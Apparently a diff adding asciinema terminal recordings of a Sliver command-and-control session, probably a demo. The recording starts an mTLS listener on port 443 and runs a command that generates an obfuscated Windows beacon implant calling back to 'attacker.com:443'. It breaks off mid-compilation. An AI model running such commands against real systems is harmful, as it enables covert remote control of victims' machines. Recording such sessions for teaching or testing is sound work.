[97.885796, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls"]
|
||||
[98.107419, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls "]
|
||||
[98.25878, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls -"]
|
||||
[98.4377, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --"]
|
||||
[98.890433, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --l"]
|
||||
[99.288224, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lp"]
|
||||
[99.486671, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport "]
|
||||
[100.534346, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 4"]
|
||||
[100.730113, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 44"]
|
||||
[100.847884, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443"]
|
||||
[101.467008, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\r\n"]
|
||||
[101.467225, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarting mTLS listener ...\r\n"]
|
||||
[101.470339, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSuccessfully started job #3\r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
|
||||
[102.899959, "o", "\u001b[J\u001b[2K\r"]
|
||||
[102.900598, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mj"]
|
||||
[103.039168, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjo"]
|
||||
[103.351582, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjob\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs"]
|
||||
[103.877364, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\r\n"]
|
||||
[103.877495, "o", "\r\n"]
|
||||
[103.878596, "o", " ID Name Protocol Port Stage Profile \r\n==== ====== ========== ====== ===============\r\n 3 mtls tcp 443 \r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
|
||||
[107.021089, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"]
|
||||
[107.202237, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"]
|
||||
[107.294327, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"]
|
||||
[107.445352, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"]
|
||||
[107.59321, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\r\n"]
|
||||
[107.593405, "o", "\u001b[J\u001b[2K\r"]
|
||||
[107.599102, "o", " \r\r"]
|
||||
[110.767341, "o", "\u001b[?2004l\r\r\n"]
|
||||
@@ -0,0 +1,890 @@
|
||||
{"version": 2, "width": 137, "height": 38, "timestamp": 1702835089, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.097852, "o", " \r\r"]
|
||||
[0.155329, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
|
||||
[0.156106, "o", "\u001b[?1h\u001b="]
|
||||
[0.157882, "o", "\u001b[?2004h"]
|
||||
[1.125575, "o", "\u001b[1ms\u001b[0m"]
|
||||
[1.126513, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
|
||||
[1.421601, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"]
|
||||
[1.615189, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m\u001b[38;2;153;153;153mi\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b\b"]
|
||||
[1.629916, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[39m \u001b[39m \u001b[39m \b\b\b"]
|
||||
[1.630831, "o", "\u001b[38;2;153;153;153mer\u001b[39m\b\b"]
|
||||
[1.759956, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m"]
|
||||
[1.853356, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"]
|
||||
[2.236531, "o", "\u001b[?1l\u001b>"]
|
||||
[2.23892, "o", "\u001b[?2004l\r\r\n"]
|
||||
[2.296279, "o", "Connecting to localhost:31337 ...\r\n"]
|
||||
[2.344065, "o", "\u001b[m"]
|
||||
[2.346097, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain indestructible\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
|
||||
[2.346478, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
|
||||
[3.00925, "o", "\u001b[J\u001b[2K\r"]
|
||||
[3.010337, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"]
|
||||
[3.208022, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"]
|
||||
[3.302823, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"]
|
||||
[3.372922, "o", "\u001b[J\u001b[2K\r"]
|
||||
[3.373021, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"]
|
||||
[3.70229, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"]
|
||||
[4.052038, "o", "\u001b[J\u001b[2K\r"]
|
||||
[4.052339, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenera"]
|
||||
[4.510978, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "]
|
||||
[5.054448, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate b"]
|
||||
[5.280013, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate be"]
|
||||
[5.46739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon "]
|
||||
[6.419442, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon -"]
|
||||
[6.614411, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --"]
|
||||
[6.856392, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --m"]
|
||||
[7.095018, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mt"]
|
||||
[7.266718, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtl"]
|
||||
[7.505325, "o", "\u001b[J\u001b[2K\r"]
|
||||
[7.505432, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls"]
|
||||
[7.700302, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls "]
|
||||
[7.899072, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls a"]
|
||||
[8.035391, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls at"]
|
||||
[8.199555, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls att"]
|
||||
[8.419739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls atta"]
|
||||
[8.527686, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attac"]
|
||||
[8.947179, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attack\u001b[J\u001b[2K\r"]
|
||||
[8.947632, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker"]
|
||||
[9.102625, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker."]
|
||||
[9.250979, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.c"]
|
||||
[9.470126, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.co"]
|
||||
[9.473668, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com"]
|
||||
[10.219427, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:"]
|
||||
[10.62294, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:4"]
|
||||
[11.043501, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:44"]
|
||||
[11.059748, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443"]
|
||||
[11.404661, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 "]
|
||||
[11.739648, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 -"]
|
||||
[12.091586, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --"]
|
||||
[12.615716, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --s"]
|
||||
[12.712567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sa"]
|
||||
[12.797343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sav"]
|
||||
[13.139634, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save "]
|
||||
[13.663953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save b"]
|
||||
[13.759355, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save be"]
|
||||
[13.856114, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save bea"]
|
||||
[14.058062, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beac"]
|
||||
[14.186399, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beaco"]
|
||||
[14.303636, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon"]
|
||||
[14.908132, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.e"]
|
||||
[14.993707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.ex"]
|
||||
[15.427513, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe"]
|
||||
[15.95164, "o", "\u001b[J\u001b[2K\r"]
|
||||
[15.952182, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon.exe\r\n\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 beacon implant binary (1m0s)\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"]
|
||||
[16.054085, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[16.154487, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[16.254959, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[16.355704, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[16.45606, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[16.556463, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[16.656856, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[16.757153, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[16.857447, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[16.957819, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[17.058208, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[17.158568, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[17.258966, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[17.35946, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[17.459916, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[17.560455, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[17.660855, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[17.763183, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[17.861645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[17.962051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[18.062439, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[18.162895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[18.263269, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[18.363695, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[18.464076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[18.564554, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[18.665214, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[18.76571, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[18.866136, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[18.966534, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[19.066918, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[19.167222, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[19.267616, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[19.368009, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[19.468418, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[19.568772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[19.669137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[19.769534, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[19.869907, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[19.970298, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[20.070699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[20.171098, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[20.271482, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[20.371884, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[20.472273, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[20.572694, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[20.673098, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[20.773502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[20.873903, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[20.974313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[21.074712, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[21.175096, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[21.275502, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[21.376149, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[21.476547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[21.576905, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[21.677312, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[21.777687, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[21.878097, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[21.978483, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[22.078864, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[22.179281, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[22.279671, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[22.380071, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[22.480427, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[22.580771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[22.681169, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[22.781562, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[22.881972, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[22.982331, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[23.082766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[23.183105, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[23.283498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[23.383944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[23.484236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[23.584636, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[23.685062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[23.785467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[23.885897, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[23.986321, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[24.086759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[24.187166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[24.287475, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[24.387901, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[24.488271, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[24.588657, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[24.689065, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[24.789467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[24.88987, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[24.990292, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[25.090709, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[25.191135, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[25.291551, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[25.391987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[25.49242, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[25.592834, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[25.693163, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[25.793585, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[25.893982, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[25.994356, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[26.094723, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[26.195172, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[26.295622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[26.396087, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[26.496532, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[26.596959, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[26.697402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[26.79782, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[26.898231, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[26.998582, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[27.099007, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[27.199433, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[27.2999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[27.400352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[27.500823, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[27.601142, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[27.701551, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[27.801948, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[27.902362, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[28.002761, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[28.103173, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[28.203584, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[28.304012, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[28.40444, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[28.504864, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[28.605202, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[28.705556, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[28.80599, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[28.9064, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[29.006944, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[29.107364, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[29.207783, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[29.308185, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[29.40876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[29.509184, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[29.609583, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[29.710009, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[29.810414, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[29.910815, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[30.011255, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[30.111699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[30.212078, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[30.312498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[30.412965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[30.513353, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[30.613763, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[30.714177, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[30.814615, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[30.915033, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[31.015441, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[31.115908, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[31.216293, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[31.316708, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[31.417136, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[31.517546, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[31.617956, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
